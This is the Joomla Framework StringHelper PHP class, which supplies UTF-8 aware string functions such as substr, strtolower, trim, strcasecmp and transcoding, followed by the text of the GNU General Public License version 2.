 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\String;

// PHP mbstring and iconv local configuration
if (version_compare(PHP_VERSION, '5.6', '>='))
{
	@ini_set('default_charset', 'UTF-8');
}
else
{
	// Check if mbstring extension is loaded and attempt to load it if not
present except for windows
	if (\extension_loaded('mbstring'))
	{
		@ini_set('mbstring.internal_encoding', 'UTF-8');
		@ini_set('mbstring.http_input', 'UTF-8');
		@ini_set('mbstring.http_output', 'UTF-8');
	}

	// Same for iconv
	if (\function_exists('iconv'))
	{
		iconv_set_encoding('internal_encoding', 'UTF-8');
		iconv_set_encoding('input_encoding', 'UTF-8');
		iconv_set_encoding('output_encoding', 'UTF-8');
	}
}

/**
 * String handling class for UTF-8 data wrapping the phputf8 library. All
functions assume the validity of UTF-8 strings.
 *
 * @since  1.3.0
 */
abstract class StringHelper
{
	/**
	 * Increment styles.
	 *
	 * @var    array
	 * @since  1.3.0
	 */
	protected static $incrementStyles = array(
		'dash' => array(
			'#-(\d+)$#',
			'-%d',
		),
		'default' => array(
			array('#\((\d+)\)$#', '#\(\d+\)$#'),
			array(' (%d)', '(%d)'),
		),
	);

	/**
	 * Increments a trailing number in a string.
	 *
	 * Used to easily create distinct labels when copying objects. The method
has the following styles:
	 *
	 * default: "Label" becomes "Label (2)"
	 * dash:    "Label" becomes "Label-2"
	 *
	 * @param   string   $string  The source string.
	 * @param   string   $style   The the style (default|dash).
	 * @param   integer  $n       If supplied, this number is used for the
copy, otherwise it is the 'next' number.
	 *
	 * @return  string  The incremented string.
	 *
	 * @since   1.3.0
	 */
	public static function increment($string, $style = 'default', $n
= 0)
	{
		$styleSpec = isset(static::$incrementStyles[$style]) ?
static::$incrementStyles[$style] :
static::$incrementStyles['default'];

		// Regular expression search and replace patterns.
		if (\is_array($styleSpec[0]))
		{
			$rxSearch  = $styleSpec[0][0];
			$rxReplace = $styleSpec[0][1];
		}
		else
		{
			$rxSearch = $rxReplace = $styleSpec[0];
		}

		// New and old (existing) sprintf formats.
		if (\is_array($styleSpec[1]))
		{
			$newFormat = $styleSpec[1][0];
			$oldFormat = $styleSpec[1][1];
		}
		else
		{
			$newFormat = $oldFormat = $styleSpec[1];
		}

		// Check if we are incrementing an existing pattern, or appending a new
one.
		if (preg_match($rxSearch, $string, $matches))
		{
			$n      = empty($n) ? ($matches[1] + 1) : $n;
			$string = preg_replace($rxReplace, sprintf($oldFormat, $n), $string);
		}
		else
		{
			$n = empty($n) ? 2 : $n;
			$string .= sprintf($newFormat, $n);
		}

		return $string;
	}

	/**
	 * Tests whether a string contains only 7bit ASCII bytes.
	 *
	 * You might use this to conditionally check whether a string needs
handling as UTF-8 or not, potentially offering performance
	 * benefits by using the native PHP equivalent if it's just ASCII
e.g.;
	 *
	 * <code>
	 * if (StringHelper::is_ascii($someString))
	 * {
	 *     // It's just ASCII - use the native PHP version
	 *     $someString = strtolower($someString);
	 * }
	 * else
	 * {
	 *     $someString = StringHelper::strtolower($someString);
	 * }
	 * </code>
	 *
	 * @param   string  $str  The string to test.
	 *
	 * @return  boolean True if the string is all ASCII
	 *
	 * @since   1.3.0
	 */
	public static function is_ascii($str)
	{
		return utf8_is_ascii($str);
	}

	/**
	 * UTF-8 aware alternative to ord()
	 *
	 * Returns the unicode ordinal for a character.
	 *
	 * @param   string  $chr  UTF-8 encoded character
	 *
	 * @return  integer Unicode ordinal for the character
	 *
	 * @link    https://www.php.net/ord
	 * @since   1.4.0
	 */
	public static function ord($chr)
	{
		return utf8_ord($chr);
	}

	/**
	 * UTF-8 aware alternative to strpos()
	 *
	 * Find position of first occurrence of a string.
	 *
	 * @param   string   $str     String being examined
	 * @param   string   $search  String being searched for
	 * @param   integer  $offset  Optional, specifies the position from which
the search should be performed
	 *
	 * @return  integer|boolean  Number of characters before the first match
or FALSE on failure
	 *
	 * @link    https://www.php.net/strpos
	 * @since   1.3.0
	 */
	public static function strpos($str, $search, $offset = false)
	{
		if ($offset === false)
		{
			return utf8_strpos($str, $search);
		}

		return utf8_strpos($str, $search, $offset);
	}

	/**
	 * UTF-8 aware alternative to strrpos()
	 *
	 * Finds position of last occurrence of a string.
	 *
	 * @param   string   $str     String being examined.
	 * @param   string   $search  String being searched for.
	 * @param   integer  $offset  Offset from the left of the string.
	 *
	 * @return  integer|boolean  Number of characters before the last match or
false on failure
	 *
	 * @link    https://www.php.net/strrpos
	 * @since   1.3.0
	 */
	public static function strrpos($str, $search, $offset = 0)
	{
		return utf8_strrpos($str, $search, $offset);
	}

	/**
	 * UTF-8 aware alternative to substr()
	 *
	 * Return part of a string given character offset (and optionally length).
	 *
	 * @param   string   $str     String being processed
	 * @param   integer  $offset  Number of UTF-8 characters offset (from
left)
	 * @param   integer  $length  Optional length in UTF-8 characters from
offset
	 *
	 * @return  string|boolean
	 *
	 * @link    https://www.php.net/substr
	 * @since   1.3.0
	 */
	public static function substr($str, $offset, $length = false)
	{
		if ($length === false)
		{
			return utf8_substr($str, $offset);
		}

		return utf8_substr($str, $offset, $length);
	}

	/**
	 * UTF-8 aware alternative to strtolower()
	 *
	 * Make a string lowercase
	 *
	 * Note: The concept of a characters "case" only exists is some
alphabets such as Latin, Greek, Cyrillic, Armenian and archaic Georgian -
it does
	 * not exist in the Chinese alphabet, for example. See Unicode Standard
Annex #21: Case Mappings
	 *
	 * @param   string  $str  String being processed
	 *
	 * @return  string|boolean  Either string in lowercase or FALSE is UTF-8
invalid
	 *
	 * @link    https://www.php.net/strtolower
	 * @since   1.3.0
	 */
	public static function strtolower($str)
	{
		return utf8_strtolower($str);
	}

	/**
	 * UTF-8 aware alternative to strtoupper()
	 *
	 * Make a string uppercase
	 *
	 * Note: The concept of a characters "case" only exists is some
alphabets such as Latin, Greek, Cyrillic, Armenian and archaic Georgian -
it does
	 * not exist in the Chinese alphabet, for example. See Unicode Standard
Annex #21: Case Mappings
	 *
	 * @param   string  $str  String being processed
	 *
	 * @return  string|boolean  Either string in uppercase or FALSE is UTF-8
invalid
	 *
	 * @link    https://www.php.net/strtoupper
	 * @since   1.3.0
	 */
	public static function strtoupper($str)
	{
		return utf8_strtoupper($str);
	}

	/**
	 * UTF-8 aware alternative to strlen()
	 *
	 * Returns the number of characters in the string (NOT THE NUMBER OF
BYTES).
	 *
	 * @param   string  $str  UTF-8 string.
	 *
	 * @return  integer  Number of UTF-8 characters in string.
	 *
	 * @link    https://www.php.net/strlen
	 * @since   1.3.0
	 */
	public static function strlen($str)
	{
		return utf8_strlen($str);
	}

	/**
	 * UTF-8 aware alternative to str_ireplace()
	 *
	 * Case-insensitive version of str_replace()
	 *
	 * @param   string   $search   String to search
	 * @param   string   $replace  Existing string to replace
	 * @param   string   $str      New string to replace with
	 * @param   integer  $count    Optional count value to be passed by
referene
	 *
	 * @return  string  UTF-8 String
	 *
	 * @link    https://www.php.net/str_ireplace
	 * @since   1.3.0
	 */
	public static function str_ireplace($search, $replace, $str, $count =
null)
	{
		if ($count === false)
		{
			return utf8_ireplace($search, $replace, $str);
		}

		return utf8_ireplace($search, $replace, $str, $count);
	}

	/**
	 * UTF-8 aware alternative to str_pad()
	 *
	 * Pad a string to a certain length with another string.
	 * $padStr may contain multi-byte characters.
	 *
	 * @param   string   $input   The input string.
	 * @param   integer  $length  If the value is negative, less than, or
equal to the length of the input string, no padding takes place.
	 * @param   string   $padStr  The string may be truncated if the number of
padding characters can't be evenly divided by the string's
length.
	 * @param   integer  $type    The type of padding to apply
	 *
	 * @return  string
	 *
	 * @link    https://www.php.net/str_pad
	 * @since   1.4.0
	 */
	public static function str_pad($input, $length, $padStr = ' ',
$type = STR_PAD_RIGHT)
	{
		return utf8_str_pad($input, $length, $padStr, $type);
	}

	/**
	 * UTF-8 aware alternative to str_split()
	 *
	 * Convert a string to an array.
	 *
	 * @param   string   $str       UTF-8 encoded string to process
	 * @param   integer  $splitLen  Number to characters to split string by
	 *
	 * @return  array
	 *
	 * @link    https://www.php.net/str_split
	 * @since   1.3.0
	 */
	public static function str_split($str, $splitLen = 1)
	{
		return utf8_str_split($str, $splitLen);
	}

	/**
	 * UTF-8/LOCALE aware alternative to strcasecmp()
	 *
	 * A case insensitive string comparison.
	 *
	 * @param   string  $str1    string 1 to compare
	 * @param   string  $str2    string 2 to compare
	 * @param   mixed   $locale  The locale used by strcoll or false to use
classical comparison
	 *
	 * @return  integer   < 0 if str1 is less than str2; > 0 if str1 is
greater than str2, and 0 if they are equal.
	 *
	 * @link    https://www.php.net/strcasecmp
	 * @link    https://www.php.net/strcoll
	 * @link    https://www.php.net/setlocale
	 * @since   1.3.0
	 */
	public static function strcasecmp($str1, $str2, $locale = false)
	{
		if ($locale)
		{
			// Get current locale
			$locale0 = setlocale(LC_COLLATE, 0);

			if (!$locale = setlocale(LC_COLLATE, $locale))
			{
				$locale = $locale0;
			}

			// See if we have successfully set locale to UTF-8
			if (!stristr($locale, 'UTF-8') && stristr($locale,
'_') && preg_match('~\.(\d+)$~', $locale, $m))
			{
				$encoding = 'CP' . $m[1];
			}
			elseif (stristr($locale, 'UTF-8') || stristr($locale,
'utf8'))
			{
				$encoding = 'UTF-8';
			}
			else
			{
				$encoding = 'nonrecodable';
			}

			// If we successfully set encoding it to utf-8 or encoding is sth weird
don't recode
			if ($encoding == 'UTF-8' || $encoding ==
'nonrecodable')
			{
				return strcoll(utf8_strtolower($str1), utf8_strtolower($str2));
			}

			return strcoll(
				static::transcode(utf8_strtolower($str1), 'UTF-8',
$encoding),
				static::transcode(utf8_strtolower($str2), 'UTF-8', $encoding)
			);
		}

		return utf8_strcasecmp($str1, $str2);
	}

	/**
	 * UTF-8/LOCALE aware alternative to strcmp()
	 *
	 * A case sensitive string comparison.
	 *
	 * @param   string  $str1    string 1 to compare
	 * @param   string  $str2    string 2 to compare
	 * @param   mixed   $locale  The locale used by strcoll or false to use
classical comparison
	 *
	 * @return  integer  < 0 if str1 is less than str2; > 0 if str1 is
greater than str2, and 0 if they are equal.
	 *
	 * @link    https://www.php.net/strcmp
	 * @link    https://www.php.net/strcoll
	 * @link    https://www.php.net/setlocale
	 * @since   1.3.0
	 */
	public static function strcmp($str1, $str2, $locale = false)
	{
		if ($locale)
		{
			// Get current locale
			$locale0 = setlocale(LC_COLLATE, 0);

			if (!$locale = setlocale(LC_COLLATE, $locale))
			{
				$locale = $locale0;
			}

			// See if we have successfully set locale to UTF-8
			if (!stristr($locale, 'UTF-8') && stristr($locale,
'_') && preg_match('~\.(\d+)$~', $locale, $m))
			{
				$encoding = 'CP' . $m[1];
			}
			elseif (stristr($locale, 'UTF-8') || stristr($locale,
'utf8'))
			{
				$encoding = 'UTF-8';
			}
			else
			{
				$encoding = 'nonrecodable';
			}

			// If we successfully set encoding it to utf-8 or encoding is sth weird
don't recode
			if ($encoding == 'UTF-8' || $encoding ==
'nonrecodable')
			{
				return strcoll($str1, $str2);
			}

			return strcoll(static::transcode($str1, 'UTF-8', $encoding),
static::transcode($str2, 'UTF-8', $encoding));
		}

		return strcmp($str1, $str2);
	}

	/**
	 * UTF-8 aware alternative to strcspn()
	 *
	 * Find length of initial segment not matching mask.
	 *
	 * @param   string   $str     The string to process
	 * @param   string   $mask    The mask
	 * @param   integer  $start   Optional starting character position (in
characters)
	 * @param   integer  $length  Optional length
	 *
	 * @return  integer  The length of the initial segment of str1 which does
not contain any of the characters in str2
	 *
	 * @link    https://www.php.net/strcspn
	 * @since   1.3.0
	 */
	public static function strcspn($str, $mask, $start = null, $length = null)
	{
		if ($start === false && $length === false)
		{
			return utf8_strcspn($str, $mask);
		}

		if ($length === false)
		{
			return utf8_strcspn($str, $mask, $start);
		}

		return utf8_strcspn($str, $mask, $start, $length);
	}

	/**
	 * UTF-8 aware alternative to stristr()
	 *
	 * Returns all of haystack from the first occurrence of needle to the end.
Needle and haystack are examined in a case-insensitive manner to
	 * find the first occurrence of a string using case insensitive
comparison.
	 *
	 * @param   string  $str     The haystack
	 * @param   string  $search  The needle
	 *
	 * @return string the sub string
	 *
	 * @link    https://www.php.net/stristr
	 * @since   1.3.0
	 */
	public static function stristr($str, $search)
	{
		return utf8_stristr($str, $search);
	}

	/**
	 * UTF-8 aware alternative to strrev()
	 *
	 * Reverse a string.
	 *
	 * @param   string  $str  String to be reversed
	 *
	 * @return  string   The string in reverse character order
	 *
	 * @link    https://www.php.net/strrev
	 * @since   1.3.0
	 */
	public static function strrev($str)
	{
		return utf8_strrev($str);
	}

	/**
	 * UTF-8 aware alternative to strspn()
	 *
	 * Find length of initial segment matching mask.
	 *
	 * @param   string   $str     The haystack
	 * @param   string   $mask    The mask
	 * @param   integer  $start   Start optional
	 * @param   integer  $length  Length optional
	 *
	 * @return  integer
	 *
	 * @link    https://www.php.net/strspn
	 * @since   1.3.0
	 */
	public static function strspn($str, $mask, $start = null, $length = null)
	{
		if ($start === null && $length === null)
		{
			return utf8_strspn($str, $mask);
		}

		if ($length === null)
		{
			return utf8_strspn($str, $mask, $start);
		}

		return utf8_strspn($str, $mask, $start, $length);
	}

	/**
	 * UTF-8 aware alternative to substr_replace()
	 *
	 * Replace text within a portion of a string.
	 *
	 * @param   string   $str     The haystack
	 * @param   string   $repl    The replacement string
	 * @param   integer  $start   Start
	 * @param   integer  $length  Length (optional)
	 *
	 * @return  string
	 *
	 * @link    https://www.php.net/substr_replace
	 * @since   1.3.0
	 */
	public static function substr_replace($str, $repl, $start, $length = null)
	{
		// Loaded by library loader
		if ($length === false)
		{
			return utf8_substr_replace($str, $repl, $start);
		}

		return utf8_substr_replace($str, $repl, $start, $length);
	}

	/**
	 * UTF-8 aware replacement for ltrim()
	 *
	 * Strip whitespace (or other characters) from the beginning of a string.
You only need to use this if you are supplying the charlist
	 * optional arg and it contains UTF-8 characters. Otherwise ltrim will
work normally on a UTF-8 string.
	 *
	 * @param   string  $str       The string to be trimmed
	 * @param   string  $charlist  The optional charlist of additional
characters to trim
	 *
	 * @return  string  The trimmed string
	 *
	 * @link    https://www.php.net/ltrim
	 * @since   1.3.0
	 */
	public static function ltrim($str, $charlist = false)
	{
		if (empty($charlist) && $charlist !== false)
		{
			return $str;
		}

		if ($charlist === false)
		{
			return utf8_ltrim($str);
		}

		return utf8_ltrim($str, $charlist);
	}

	/**
	 * UTF-8 aware replacement for rtrim()
	 *
	 * Strip whitespace (or other characters) from the end of a string. You
only need to use this if you are supplying the charlist
	 * optional arg and it contains UTF-8 characters. Otherwise rtrim will
work normally on a UTF-8 string.
	 *
	 * @param   string  $str       The string to be trimmed
	 * @param   string  $charlist  The optional charlist of additional
characters to trim
	 *
	 * @return  string  The trimmed string
	 *
	 * @link    https://www.php.net/rtrim
	 * @since   1.3.0
	 */
	public static function rtrim($str, $charlist = false)
	{
		if (empty($charlist) && $charlist !== false)
		{
			return $str;
		}

		if ($charlist === false)
		{
			return utf8_rtrim($str);
		}

		return utf8_rtrim($str, $charlist);
	}

	/**
	 * UTF-8 aware replacement for trim()
	 *
	 * Strip whitespace (or other characters) from the beginning and end of a
string. You only need to use this if you are supplying the charlist
	 * optional arg and it contains UTF-8 characters. Otherwise trim will work
normally on a UTF-8 string
	 *
	 * @param   string  $str       The string to be trimmed
	 * @param   string  $charlist  The optional charlist of additional
characters to trim
	 *
	 * @return  string  The trimmed string
	 *
	 * @link    https://www.php.net/trim
	 * @since   1.3.0
	 */
	public static function trim($str, $charlist = false)
	{
		if (empty($charlist) && $charlist !== false)
		{
			return $str;
		}

		if ($charlist === false)
		{
			return utf8_trim($str);
		}

		return utf8_trim($str, $charlist);
	}

	/**
	 * UTF-8 aware alternative to ucfirst()
	 *
	 * Make a string's first character uppercase or all words' first
character uppercase.
	 *
	 * @param   string  $str           String to be processed
	 * @param   string  $delimiter     The words delimiter (null means do not
split the string)
	 * @param   string  $newDelimiter  The new words delimiter (null means
equal to $delimiter)
	 *
	 * @return  string  If $delimiter is null, return the string with first
character as upper case (if applicable)
	 *                  else consider the string of words separated by the
delimiter, apply the ucfirst to each words
	 *                  and return the string with the new delimiter
	 *
	 * @link    https://www.php.net/ucfirst
	 * @since   1.3.0
	 */
	public static function ucfirst($str, $delimiter = null, $newDelimiter =
null)
	{
		if ($delimiter === null)
		{
			return utf8_ucfirst($str);
		}

		if ($newDelimiter === null)
		{
			$newDelimiter = $delimiter;
		}

		return implode($newDelimiter, array_map('utf8_ucfirst',
explode($delimiter, $str)));
	}

	/**
	 * UTF-8 aware alternative to ucwords()
	 *
	 * Uppercase the first character of each word in a string.
	 *
	 * @param   string  $str  String to be processed
	 *
	 * @return  string  String with first char of each word uppercase
	 *
	 * @link    https://www.php.net/ucwords
	 * @since   1.3.0
	 */
	public static function ucwords($str)
	{
		return utf8_ucwords($str);
	}

	/**
	 * Transcode a string.
	 *
	 * @param   string  $source        The string to transcode.
	 * @param   string  $fromEncoding  The source encoding.
	 * @param   string  $toEncoding    The target encoding.
	 *
	 * @return  mixed  The transcoded string, or null if the source was not a
string.
	 *
	 * @link    https://bugs.php.net/bug.php?id=48147
	 *
	 * @since   1.3.0
	 */
	public static function transcode($source, $fromEncoding, $toEncoding)
	{
		if (\is_string($source))
		{
			switch (ICONV_IMPL)
			{
				case 'glibc':
					return @iconv($fromEncoding, $toEncoding .
'//TRANSLIT,IGNORE', $source);

				case 'libiconv':
				default:
					return iconv($fromEncoding, $toEncoding .
'//IGNORE//TRANSLIT', $source);
			}
		}
	}

	/**
	 * Tests a string as to whether it's valid UTF-8 and supported by the
Unicode standard.
	 *
	 * Note: this function has been modified to simple return true or false.
	 *
	 * @param   string  $str  UTF-8 encoded string.
	 *
	 * @return  boolean  true if valid
	 *
	 * @author  <hsivonen@iki.fi>
	 * @link    https://hsivonen.fi/php-utf8/
	 * @see     compliant
	 * @since   1.3.0
	 */
	public static function valid($str)
	{
		return utf8_is_valid($str);
	}

	/**
	 * Tests whether a string complies as UTF-8.
	 *
	 * This will be much faster than StringHelper::valid() but will pass five
and six octet UTF-8 sequences, which are not supported by Unicode and
	 * so cannot be displayed correctly in a browser. In other words it is not
as strict as StringHelper::valid() but it's faster. If you use it to
	 * validate user input, you place yourself at the risk that attackers will
be able to inject 5 and 6 byte sequences (which may or may not be a
	 * significant risk, depending on what you are are doing).
	 *
	 * @param   string  $str  UTF-8 string to check
	 *
	 * @return  boolean  TRUE if string is valid UTF-8
	 *
	 * @see     StringHelper::valid
	 * @link   
https://www.php.net/manual/en/reference.pcre.pattern.modifiers.php#54805
	 * @since   1.3.0
	 */
	public static function compliant($str)
	{
		return utf8_compliant($str);
	}

	/**
	 * Converts Unicode sequences to UTF-8 string.
	 *
	 * @param   string  $str  Unicode string to convert
	 *
	 * @return  string  UTF-8 string
	 *
	 * @since   1.3.0
	 */
	public static function unicode_to_utf8($str)
	{
		if (\extension_loaded('mbstring'))
		{
			return preg_replace_callback(
				'/\\\\u([0-9a-fA-F]{4})/',
				function ($match)
				{
					return mb_convert_encoding(pack('H*', $match[1]),
'UTF-8', 'UCS-2BE');
				},
				$str
			);
		}

		return $str;
	}

	/**
	 * Converts Unicode sequences to UTF-16 string.
	 *
	 * @param   string  $str  Unicode string to convert
	 *
	 * @return  string  UTF-16 string
	 *
	 * @since   1.3.0
	 */
	public static function unicode_to_utf16($str)
	{
		if (\extension_loaded('mbstring'))
		{
			return preg_replace_callback(
				'/\\\\u([0-9a-fA-F]{4})/',
				function ($match)
				{
					return mb_convert_encoding(pack('H*', $match[1]),
'UTF-8', 'UTF-16BE');
				},
				$str
			);
		}

		return $str;
	}
}
GNU GENERAL PUBLIC LICENSE
				Version 2, June 1991

 Copyright (C) 1989, 1991 Free Software Foundation, Inc.
 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

				Preamble

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users.  This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it.  (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.)  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

  To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have.  You must make sure that they, too, receive or can get the
source code.  And you must show them these terms so they know their
rights.

  We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

  Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software.  If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

  Finally, any free program is threatened constantly by software
patents.  We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary.  To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at
all.

  The precise terms and conditions for copying, distribution and
modification follow.

			GNU GENERAL PUBLIC LICENSE
   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License.  The "Program",
below,
refers to any such program or work, and a "work based on the
Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language.  (Hereinafter, translation is included without limitation in
the term "modification".)  Each licensee is addressed as
"you".

Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.

  1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.

You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.

  2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

	a) You must cause the modified files to carry prominent notices
	stating that you changed the files and the date of any change.

	b) You must cause any work that you distribute or publish, that in
	whole or in part contains or is derived from the Program or any
	part thereof, to be licensed as a whole at no charge to all third
	parties under the terms of this License.

	c) If the modified program normally reads commands interactively
	when run, you must cause it, when started running for such
	interactive use in the most ordinary way, to print or display an
	announcement including an appropriate copyright notice and a
	notice that there is no warranty (or else, saying that you provide
	a warranty) and that users may redistribute the program under
	these conditions, and telling the user how to view a copy of this
	License.  (Exception: if the Program itself is interactive but
	does not normally print such an announcement, your work based on
	the Program is not required to print an announcement.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.

In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

  3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:

	a) Accompany it with the complete corresponding machine-readable
	source code, which must be distributed under the terms of Sections
	1 and 2 above on a medium customarily used for software interchange; or,

	b) Accompany it with a written offer, valid for at least three
	years, to give any third party, for a charge no more than your
	cost of physically performing source distribution, a complete
	machine-readable copy of the corresponding source code, to be
	distributed under the terms of Sections 1 and 2 above on a medium
	customarily used for software interchange; or,

	c) Accompany it with the information you received as to the offer
	to distribute corresponding source code.  (This alternative is
	allowed only for noncommercial distribution and only if you
	received the program in object code or executable form with such
	an offer, in accord with Subsection b above.)

The source code for a work means the preferred form of the work for
making modifications to it.  For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable.  However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.

If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.

  4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License.  Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.

  5. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Program or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.

  6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.

  7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all.  For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.

If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

  8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded.  In such case, this License incorporates
the limitation as if written in the body of this License.

  9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

Each version is given a distinguishing version number.  If the Program
specifies a version number of this License which applies to it and
"any
later version", you have the option of following the terms and
conditions
either of that version or of any later version published by the Free
Software Foundation.  If the Program does not specify a version number of
this License, you may choose any version ever published by the Free
Software
Foundation.

  10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission.  For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this.  Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.

				NO WARRANTY

  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER
EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.

  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.

			 END OF TERMS AND CONDITIONS

		How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is
found.

	<one line to give the program's name and a brief idea of what it
does.>
	Copyright (C) <year>  <name of author>

	This program is free software; you can redistribute it and/or modify
	it under the terms of the GNU General Public License as published by
	the Free Software Foundation; either version 2 of the License, or
	(at your option) any later version.

